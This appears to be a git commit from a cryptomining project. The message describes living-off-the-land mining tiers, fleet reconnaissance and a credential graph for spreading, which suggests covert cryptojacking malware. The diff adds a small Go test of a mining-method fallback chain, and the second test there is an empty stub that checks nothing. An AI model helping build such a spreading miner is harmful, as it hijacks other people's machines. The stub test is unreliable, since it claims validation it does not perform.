Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -0,0 +1,26 @@
package miner
import (
"testing"
)
func TestAppendLinuxPyOpenCLSkipsWhenCUDA(t *testing.T) {
chain := []MiningMethod{MethodInProcess, MethodStratumDirect}
out := appendLinuxPyOpenCL(chain)
if len(out) != len(chain) {
t.Fatalf("expected unchanged chain on non-linux or with cuda, got %v", out)
}
}
func TestAppendLinuxPyOpenCLInsertsTier(t *testing.T) {
if testing.Short() {
t.Skip("platform-specific")
}
origCUDA := DetectCUDA
origPy := DetectPyOpenCL
defer func() {
// restore stubs on non-linux
}()
_ = origCUDA
_ = origPy
}